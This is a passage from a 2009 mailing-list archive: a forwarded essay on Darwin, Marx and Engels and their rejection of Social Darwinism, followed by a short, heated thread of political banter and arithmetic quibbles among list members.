concrete individuals. Variations are not exceptions or diversions from the species' essence--variation is the concrete reality of nature. The truth, a Marxist would say, is always concrete. Species are not fixed, immutable things: they have a real history, and can only be properly understood by studying how they change in time. *He overturned teleology. *"Far from imagining that cats exist in order to catch mice well," wrote Darwin's close associate Thomas Huxley, "Darwinism supposes that cats exist because they catch mice well--mousing being not the aim, but the condition of their existence."26 Living organisms have changed and continue to change as a result of natural processes that have no purpose or goal. A giraffe is not in any sense a "more advanced" or "more perfect" animal than its shorter ancestors--it is simply better adapted to its local environment. Changes to that environment could eliminate its advantage at any time. By the time Darwin died in 1882, evolution was accepted by the great majority of scientists--but it took much longer for most to accept the materialist core of Darwin's work, that variation and natural selection are the processes that drive species change. Even among Darwin's closest allies and supporters there were many who clung to the essentialist idea that new species must appear as sudden replacements, or to the teleological idea that the evolutionary process was guided or determined in advance by God. *Evolution and Marxism* Darwin did for the understanding of nature what Marx and Engels did for human society--he overturned teleology and essentialism and established a materialist basis for understanding how organisms change over time. And that is precisely what Marx meant when he said that On the Origin of Species "contains the basis in natural history for our view." In 1844, while Darwin was secretly writing his first full account of natural selection, Karl Marx was in Paris, developing his critique of contemporary political and philosophical thought. In his notebooks he wrote: "History itself is a real part of natural history and of nature's development into man. Natural science will, in time, incorporate into itself the science of man, just as the science of man will incorporate into itself natural science: there will be one science."27 A year later, Marx and Engels wrote The German Ideology, the first mature statement of what became known as historical materialism. Initially they included this passage, which is similar to the 1844 statement, but more complete. We know only a single science, the science of history. One can look at history from two sides and divide it into the history of nature and the history of men. The two sides are, however, inseparable; the history of nature and the history of men are dependent on each other so long as men exist.28 They deleted that paragraph from the final draft, deciding not even to mention a subject they had no time to investigate and discuss properly. These passages show why Marx and Engels were so excited by Darwin's work. As Peter Heyer writes, "both the historical character of nature and the natural character of history" were fundamental to their worldview.29 Fifteen years before *Origin*, they were confident that nature could be explained using the same nonessentialist and non-teleological--that is, *historical and materialist*--principles that underlaid their analysis of human societies. By providing a thoroughly researched and powerfully argued confirmation of that assumption, Darwin's book *completed* historical materialism. This was the materialist explanation of the historical character of nature they knew must be possible. As Engels wrote in *Socialism: Utopian and Scientific*: Nature works dialectically and not metaphysically ... she does not move in the eternal oneness of a perpetually recurring circle, but goes through a real historical evolution. In this connection, Darwin must be named before all others. He dealt the metaphysical conception of Nature the heaviest blow by his proof that all organic beings, plants, animals, and man himself, are the products of a process of evolution going on through millions of years.30 *Nature and society* A key element of D. A. Stack's claim that Engels tried to "steal the Darwinian mantle," but wasn't really committed to Darwinism, is his assertion that Engels did not make "any meaningful or successful attempt to unite Marxist politics with Darwinian science."31 If we accept a very narrow definition of politics, as Stack seems to, then this charge is absolutely true. Engels didn't just fail to propose a political program based on Darwin's science--*he explicitly denied that such a program was appropriate*.32 The idea that the theory of natural selection was an appropriate basis for understanding and governing human societies originated with the English libertarian philosopher Herbert Spencer, the man who originated the phrase "survival of the fittest." He argued that natural selection would eventually produce a perfect society, but only if it had free reign to operate so that the unfit could be eliminated. To that end he opposed public education, compulsory smallpox vaccination, free libraries, workplace safety laws, and even charitable support for the "undeserving poor." Such views, later labeled "Social Darwinism," were eagerly adopted by defenders of unfettered capitalism. John D. Rockefeller famously told a Sunday school class in New York City: The growth of large business is merely a survival of the fittest... The American Beauty rose can be produced in the splendor and fragrance which bring cheer to its beholder only by sacrificing the early buds which grow up around it. This is not an evil tendency in business. It is merely the working out of a law of nature and a law of God.33 Engels was scathing in his rejection of attempts to apply biological laws to human society. In a letter to the Russian socialist Pyotr Lavrov in 1875, he pointed out that the "bourgeois Darwinians"--referring to a political current in Germany that claimed to be applying Darwin's views--first claimed that the political concept "survival of the fittest" applied to nature, and then reversed the process: All that the Darwinian theory of the struggle for existence boils down to is an extrapolation from society to animate nature of Hobbes' theory of the *bellum omnium contra omnes* [war of all against all] and of the bourgeois-economic theory of competition together with the Malthusian theory of population. Having accomplished this feat ... these people proceed to re-extrapolate the same theories from organic nature to history, and then claim to have proved their validity as eternal laws of human society. The puerility of this procedure is self-evident, and there is no need to waste words on it. These political Darwinians, Engels concluded, can be described "firstly as bad economists and secondly as bad naturalists and philosophers."34 In 1845, in *The German Ideology*, Marx and Engels had argued that the ability to produce life's needs distinguishes humans from other animals: Men can be distinguished from animals by consciousness, by religion or anything else you like. They themselves begin to distinguish themselves from animals as soon as they begin to *produce* their means of subsistence, a step which is conditioned by their physical organization. By producing their means of subsistence they are indirectly producing their material life.35 Engels repeated and extended that argument in the late 1870s, in his unfinished book *Dialectics of Nature*: Let us accept for a moment the phrase "struggle for existence," for argument's sake. The most that the animal can achieve is to collect; man produces, he prepares the means of subsistence, in the widest sense of the words, which without him nature would not have produced. This makes impossible any unqualified transference of the laws of life in animal societies to human society.36 Engels was restating a fundamental element of the Marxist view of nature--that different forms and complexities of matter involve different scientific laws. The laws governing the movements of atoms and molecules are not the same as the laws that govern the movements of billiard balls. And, if recent developments in astrophysics are to be believed (the hypothetical existence of dark matter and dark energy, for example) the movements of galaxies follow still different laws. The laws that govern inorganic matter also apply to living matter--but they are enhanced and in many respects replaced by biological laws that cannot be reduced to or deduced from Newtonian physics. Similarly, human beings are physical and biological objects, subject to the same physical and biological laws as other animals, but we are also social beings who produce our means of existence, so our lives and history cannot be fully explained by physics and biology. As Engels wrote, "The conception of history as a series of class struggles is already much richer in content and deeper than merely reducing it to weakly distinguished phases of the struggle for existence."37 *Darwin's achievement* The materialist victory in science is one of humanity's greatest achievements. For that reason alone, no matter what his hesitations, delays, or middle-class prejudices, Charles Darwin deserves to be remembered and honored by everyone who looks forward to the ending of superstition and ignorance in all aspects of life. Darwin was not a political radical: apart from his lifelong opposition to slavery and his involvement in the affairs of the small town where he lived, he seems to have had little interest in political activity or theory. And yet, as the evolutionary biologist Ernst Mayr wrote, "in his scientific works he systematically demolished one after the other of the basic philosophical concepts of his time and replaced them with revolutionary new concepts."38 By doing that, Darwin unwittingly contributed to and strengthened the most revolutionary social theories ever developed, the ideas we know today as Marxism. It is obviously possible, as Paul Heyer points out, to be a Darwinian in biology while rejecting Marxism, but it is not possible to be a consistent Marxist and reject Darwin. The reason is basic. Central to Marx's vision is the assumption that nature and history fit together to comprise a totality. Since man emerged from and continues to depend on and transform nature, history as a science will remain incomplete until this foundation is fully comprehended. And no one has contributed more toward this comprehension than Darwin.39 The idea that nature has a history, that species come into existence, change, and disappear through natural processes, is just as revolutionary, and just as important to socialist thought, as the idea that capitalism isn't eternal, but came into being at a given time and will one day disappear from the earth. *Darwin and evolution: Recommended reading* *Darwin's life* There are more Darwin biographies in print than anyone could possibly read. A good short overview of Darwin's life and ideas is *A Brief Guide to Charles Darwin, His Life and Times* by Cyril Aydon (Robinson Publishing, 2008). At the other end of the time-to-read spectrum is Janet Browne's definitive work, published in two 600-page volumes: *Charles Darwin: Voyaging* and *Charles Darwin: the Power of Place* (Princeton University Press, 1996 and 2003). Despite its length, it is very readable, with a minimum of intrusive scholarly apparatus. Adrian Desmond and James Moore focus much more on the social context in *Darwin: The Life of a Tormented Evolutionist* (W. W. Norton, 1994). It's an important book, but rather mechanistic in its explanation of the social origins of Darwin's ideas. Desmond and Moore's latest book, *Darwin's Sacred Cause: How a Hatred of Slavery Shaped Darwin's Views on Human Evolution* (Houghton Mifflin Harcourt, 2009) has the same weakness, but is worth reading for its insight into the relationship between racism and biological theory in Darwin's thinking and in the nineteenth century more generally. *The Science of Evolution* Ernst Mayr's *What Evolution Is* (Basic Books 2002) isn't light reading, but it provides a superb materialist account of modern evolutionary theory for non-scientists. Stephen Jay Gould wrote hundreds of popular essays on evolution and related topics. All of his books are worth reading, but a good place to start is *The Richness of Life: The Essential Stephen Jay Gould* (W. W. Norton, 2007). Richard Lewontin's *The Triple Helix: Gene, Organism and Environment (*Harvard University Press, 2000) is a concise dialectical critique of the idea that genetics explains everything. And for a broader Marxist view of evolutionary biology, *The Dialectical Biologist,* which Lewontin wrote with Richard Levins (Harvard University Press, 1985), is indispensable. *Marxism and Evolution* Chapter Six of John Bellamy Foster's *Marx's Ecology: Materialism and Nature *(Monthly Review Press, 2000) is absolutely essential reading on the relationship between Marxism and Darwinism. *Critique of Intelligent Design: Materialism versus Creationism from Antiquity to the Present *(Monthly Review Press, 2008) by John Bellamy Foster, Brett Clark, and Richard York, is a clearly written account of the philosophical issues that underlie the fight between evolution and creationism. *Back to the source* Last but certainly not least, Charles Darwin's* On the Origin of Species*may be the only great work of science that is also a work of literature. It's available from many publishers and the full text is available online at http://darwin-online.org.uk/ . When *Origin *was published in November 1859, one of the first people to buy a copy was Friedrich Engels: he read it quickly and told Marx that it was "absolutely splendid." That should be recommendation enough. 1 Karl Marx and Friedrich Engels, *Marx-Engels Collected Works* [MECW], vol. 40 (Moscow: Progress Publishers, 1975), 441. 2 Karl Marx and Friedrich Engels, *Selected Correspondence *1846-1895 (New York: International Publishers, 1975), 126 in MECW vol. 41, 232. This passage is translated as "the book which, in the field of natural history, provides the basis for our view." 3 MECW, vol. 41: 246-47. 4 *Reminiscences of Marx and Engels* (Moscow: Foreign Languages Publishing House, n.d.), 106. 5 With one brief exception: in 1866 Marx wrote to Engels that a book on evolution by Pierre Tremaux represented "a very significant advance over Darwin." Engels, who followed scientific issues much more closely than Marx, replied that Tremaux's book was "utterly worthless" and drew conclusions that were "totally mistaken or incredibly one-sided and exaggerated." Marx dropped the subject. MECW, vol. 42, 304, 320, 324. 6 MECW, vol. 35, 346n. 7 John Bellamy Foster,* Marx's Ecology: Materialism and Nature* (New York: Monthly Review Press, 2000), 207. Darwin sent a polite thank-you note, but didn't read the book. 8 MECW, vol. 24: 467. 9 Allan Megill, *Karl Marx: The Burden of Reason* (Lanham MD: Rowman & Littlefield, 2002), 54. 10 Naomi Beck. "The Origin and Political Thought," in Michael Ruse and Robert J. Richards, eds., *The Cambridge Companion to the Origin of Species*(Cambridge: Cambridge University Press, 2000), 313, 310. 11 D. A. Stack. "The First Darwinian Left: Radical and Socialist Responses to Darwin, 1859-1914." *History of Political Thought* [Winter 2000], 683-4. Stack repeats most of these comments, word for word, in *The First Darwinian Left: Socialism and Darwinism*, 1859-1914 (Cheltenham: New Clarion Press, 2003), 4. 12 The rigid class hierarchy on naval ships meant that a captain could not socialize with other officers or the crew, but the navy permitted captains to bring appropriate passengers at their own expense. See Stephen J. Gould, "Darwin's Sea Change," in *Ever Since Darwin* (New York: W. W. Norton, 1992) 28-33. 13 Charles Darwin. "An Historical Sketch of the Progress of Opinion on the Origin of Species," in the third and subsequent editions of *On the Origin of Species* (London: Penguin Books, 1985 [1861]), 53. 14 William Whewell, *History of the Inductive Sciences,* vol. 2 (London: John W. Parker, 1837), 563-65. 15 Ibid. 16 Herschell's letter to Charles Lyell was published in 1837 in Charles Babbage, *The Ninth Bridgewater Treatise* (London: John Murray, 1838) 225-36. Darwin quoted it in the first paragraph of On the Origin of Species. 17 Charles Darwin, "Autobiography," http://www.stephenjaygould.org/library/darwin_autobiography.html. 18 Adrian Desmond,* The Politics of Evolution: Morphology, Medicine and Reform in Radical London *(Chicago: University of Chicago Press, 1989), 4. 19 Robert Chambers, *Vestiges of the Natural History of Creation and Other Evolutionary Writings* (Chicago: University of Chicago Press, 1994 [1844]), 234. 20 James A. Secord, *Victorian Sensation: The Extraordinary Publication, Reception, and Secret Authorship of Vestiges of the Natural History of Creation* (Chicago: University of Chicago Press, 2000), 526. 21 Stephen Jay Gould, *Time's Arrow, Time's Cycle: Myth and Metaphor in the Discovery of Geological Time* (Cambridge, MA: Harvard University Press, 1987), 146-47. 22 Charles Darwin, *The Origin of Species *(London: Penguin Books, 1985 [1859]), 435. Darwin did not use the word "evolution" at all in *Origin*. At that time the word implied the unfolding of characteristics already present in the organism--the evolution of an embryo into an animal, for example. That concept was alien to Darwin's theory. 23 Foster, Marx's Ecology, 179. 24 MECW, vol. 35, 19. 25 Darwin, *Origin*, 108. 26 Thomas Huxley. "Criticisms of On the Origin Of Species," [1864] in *Lay Sermons, Addresses and Reviews* (London: Macmillan, 1888), 303. 27 MECW, vol. 3, 303-04. 28 MECW, vol. 5, 28n. 29 Peter Heyer. Nature, Human Nature, and Society: Marx, Darwin, Biology and the Human Sciences (Westport CT: Greenwood Press, 1982), 49. 30 MECW, vol. 24, 301. 31 Stack, *First Darwinian Left*, 684. 32 Stack discusses this in his essay, a fact that makes his cynical dismissal of Engels' words at Marx's graveside hard to understand. 33 Quoted in Richard Hofstadter, *Social Darwinism in American Thought *(Boston: Beacon Press, 1993 [1944]), 45. 34 MECW, vol. 45, 107-08. This passage has frequently been cited by historians as a criticism of Darwin's theory, but the context clearly shows that he is referring to people who applied Darwin's views to politics. 35 MECW, vol. 5, 31. 36 MECW, vol. 25, 584. 37 Ibid., 585. 38 Ernst Mayr, *One Long Argument: Charles Darwin and the Genesis of Modern Evolutionary Thought *(Cambridge, MA: Harvard University Press,1991), 50. - ----- End forwarded message ----- - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkonTgAACgkQXo3EtEYbt3GKpQCdFsQEStSpRmiCTLXYjpS/Sz51 9DoAn34dA0Nny/Ja2lrQ4lngPc3YR9Mn =8o7D -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jun 4 14:08:17 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n54L8FhD001859; Thu, 4 Jun 2009 14:08:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n54L8EdJ001847; Thu, 4 Jun 2009 14:08:14 -0700 Resent-Date: Thu, 4 Jun 2009 14:08:14 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 4 Jun 2009 14:08:07 -0700 From: grok To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com Message-ID: <20090604210807.GC842@shell.resist.ca> Reply-To: grok@resist.ca References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7.0.1.0.2.20090603133723.03980620@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: C-300PMU, SPAAG, bootleg, nuclear reactor, Pechora User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4327 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:first day in carbon capture Status: O X-Status: X-Keywords: X-UID: 569 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > You have probably often heard that 2+2=4. Claiming that it equals 5 does > not provide balance. 2 +2 = 5 for all sufficiently large values of 2. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkooN7cACgkQXo3EtEYbt3HDCwCaA3q7rQVp6Xwkhht/l4c+hPqs yQMAnj225haE4X94MzIgjIiIF+OY9eeX =snjb -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jun 4 14:14:32 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n54LEUgT003223; Thu, 4 Jun 2009 14:14:30 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n54LEQfC003204; Thu, 4 Jun 2009 14:14:26 -0700 Resent-Date: Thu, 4 Jun 2009 14:14:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 4 Jun 2009 14:14:19 -0700 From: grok To: vortexb-l@eskimo.com Cc: rick@highsurf.com Message-ID: <20090604211419.GD842@shell.resist.ca> Reply-To: grok@resist.ca References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: C-300PMU, SPAAG, bootleg, nuclear reactor, Pechora User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4328 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:first day in carbon capture Status: O X-Status: X-Keywords: X-UID: 570 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Rick Monteverde mounted the barricade and roared out: > In your version of a science forum, you can just make up pure scientifical > sounding nonsense like that, perhaps justified by political reasons, then > tell us if we can't show evidence that it isn't true, we should basically > just shut up and smell the socialism? Speaking of twisting the facts around. You goons can continue to toe the capitalist Party line all you please -- what does it cost you in your daily petty lives, eh? -- but the fact of the matter remains that it is your masters and their camp followers who are feeding us most all the bullshit in the World today. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkooOSsACgkQXo3EtEYbt3H6IwCdHDEvF4c0poEUBFeGd/YFqNBF tIAAn1jNC8P9NJMZadE2TJkABrQ0/MJh =yKcQ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jun 4 14:22:09 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n54LM2WU017039; Thu, 4 Jun 2009 14:22:03 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n54LM2Wt017032; Thu, 4 Jun 2009 14:22:02 -0700 Resent-Date: Thu, 4 Jun 2009 14:22:02 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 4 Jun 2009 14:21:55 -0700 From: grok To: vortexb-l@eskimo.com Cc: temalloy1@usfamily.net Message-ID: <20090604212155.GE842@shell.resist.ca> Reply-To: grok@resist.ca References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> <4A27662E.3070307@usfamily.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A27662E.3070307@usfamily.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: C-300PMU, SPAAG, bootleg, nuclear reactor, Pechora User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4329 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:first day in carbon capture Status: O X-Status: X-Keywords: X-UID: 571 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, thomas malloy mounted the barricade and roared out: > I've just been informed that the money spent so far would have given > every American $500,000 . Which is one hell of a lot of money, I wonder > where it all went? It went to the financiers who've driven us all into this mess in the first place. Go, U.S.A.!! - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkooOvMACgkQXo3EtEYbt3HL3ACgi5vgToCHhyR7R3vyGdSeoyKM eHcAoNgOZ7oCIgz2YbP6wmFLnL4bxuW4 =9fSo -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jun 4 16:01:59 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n54N1sb4001166; Thu, 4 Jun 2009 16:01:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n54N1r9U001151; Thu, 4 Jun 2009 16:01:53 -0700 Resent-Date: Thu, 4 Jun 2009 16:01:53 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: cKnxowMVM1nnPi8pCb8.bk6Vt8ST8.5Nqd95.i8.RET_Dr_qq2qbfRzizmydrHRN84iTgtU1542.fIdh09lWQfSSDymG3YfKefY9WJSWs0yjbwm4sn5Jnigr0ax3gwznAfG5.Aujds54miaeadWH041kSNRhEgBwL0u123xHip4cLni6l7OQDKbaetJ77ZW4A9uWL8ADvpEY2gHNWqK1NS2eTyi9A3chbeL7duz8dFQ4qhmKQE_v7nfhy8HJcqGdxP_9nBTTAl9BA9NiJrfPieKbBCh4NESRIw9Zz5epZAencgF.EXcqAUXFWHJ.4I3lrBLUAeyQHW14k16RRSu4 X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:first day in carbon capture Date: Thu, 04 Jun 2009 18:01:49 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> <20090604210807.GC842@shell.resist.ca> In-Reply-To: <20090604210807.GC842@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4330 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 572 On Thu, 4 Jun 2009 14:08:07 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Jed Rothwell >mounted the barricade and roared out: > >> You have probably often heard that 2+2=3D4. Claiming that it equals 5 = does=20 >> not provide balance. > > 2 +2 =3D 5 for all sufficiently large values of 2. --- But first you've got to make 2 equal to 2.5, which is tantamount to saying that the value of your flawed politics and flammatory rhetoric is >0. So far, such hasn't been the case, what with most of what you proselytize being left of zero. =20 JF =20 From vortexb-l-request@eskimo.com Thu Jun 4 16:39:35 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n54NdXJ6025387; Thu, 4 Jun 2009 16:39:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n54NdWJp025378; Thu, 4 Jun 2009 16:39:32 -0700 Resent-Date: Thu, 4 Jun 2009 16:39:32 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 4 Jun 2009 16:39:23 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:first day in carbon capture Message-ID: <20090604233922.GH4911@shell.resist.ca> Reply-To: grok@resist.ca References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> <4A27662E.3070307@usfamily.net> <20090604212155.GE842@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: SA-10C, Carrier Strike Group 7, Shafaq, Yassin Al Qadi, 30N6E2 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4331 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 573 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, mixent@bigpond.com mounted the barricade and roared out: > >> I've just been informed that the money spent so far would have given > >> every American $500,000 . Which is one hell of a lot of money, I wonder > >> where it all went? > > > >It went to the financiers who've driven us all into this mess in the first place. > >Go, U.S.A.!! > [snip] > Actually it didn't. It's just an arithmetic error. half a million for each > American amounts to 150 trillion altogether, and that much hasn't been spent. > More like 1.5 trillion, so $5000 for every American...however you are right > about where it went. What's a few zeros among friends, eh? But I believe it's been a lot more than a mere $1.500.000.000.000 pilfered too, if not that much. Can you say "quadrillionaire"..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkooWyoACgkQXo3EtEYbt3GeRgCgtwDPQ4DdX1BWC1ANU6lFfWdy ZVgAoLDqY3158OBV9bUy6M2Zx9AaByE6 =uAff -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu Jun 4 16:40:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n54NemsK025914; Thu, 4 Jun 2009 16:40:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n54NelhM025900; Thu, 4 Jun 2009 16:40:47 -0700 Resent-Date: Thu, 4 Jun 2009 16:40:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 4 Jun 2009 16:40:38 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:first day in carbon capture Message-ID: <20090604234038.GI4911@shell.resist.ca> Reply-To: grok@resist.ca References: <8537F7AA86D6436FA11CAAD7728D2311@REVTEC1> <7.0.1.0.2.20090603090048.037b4db0@gmail.com> <7.0.1.0.2.20090603133723.03980620@gmail.com> <20090604210807.GC842@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: SA-10C, Carrier Strike Group 7, Shafaq, Yassin Al Qadi, 30N6E2 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4332 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 574 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >> You have probably often heard that 2+2=4. Claiming that it equals 5 does > >> not provide balance. > > > > 2 +2 = 5 for all sufficiently large values of 2. > > --- > But first you've got to make 2 equal to 2.5, which is tantamount to > saying that the value of your flawed politics and flammatory rhetoric is > >0. > > So far, such hasn't been the case, what with most of what you > proselytize being left of zero. > > > JF Heehee. Him so funny! Funny Man! Look! Look! - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkooW3YACgkQXo3EtEYbt3HulwCfce/B5n5Lj0TRlKEblt4KSJZY 3qYAnjo7AfjoEAz9BM+V3zb6pOtBiyIw =3v02 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri Jun 5 14:07:22 2009 Received: from 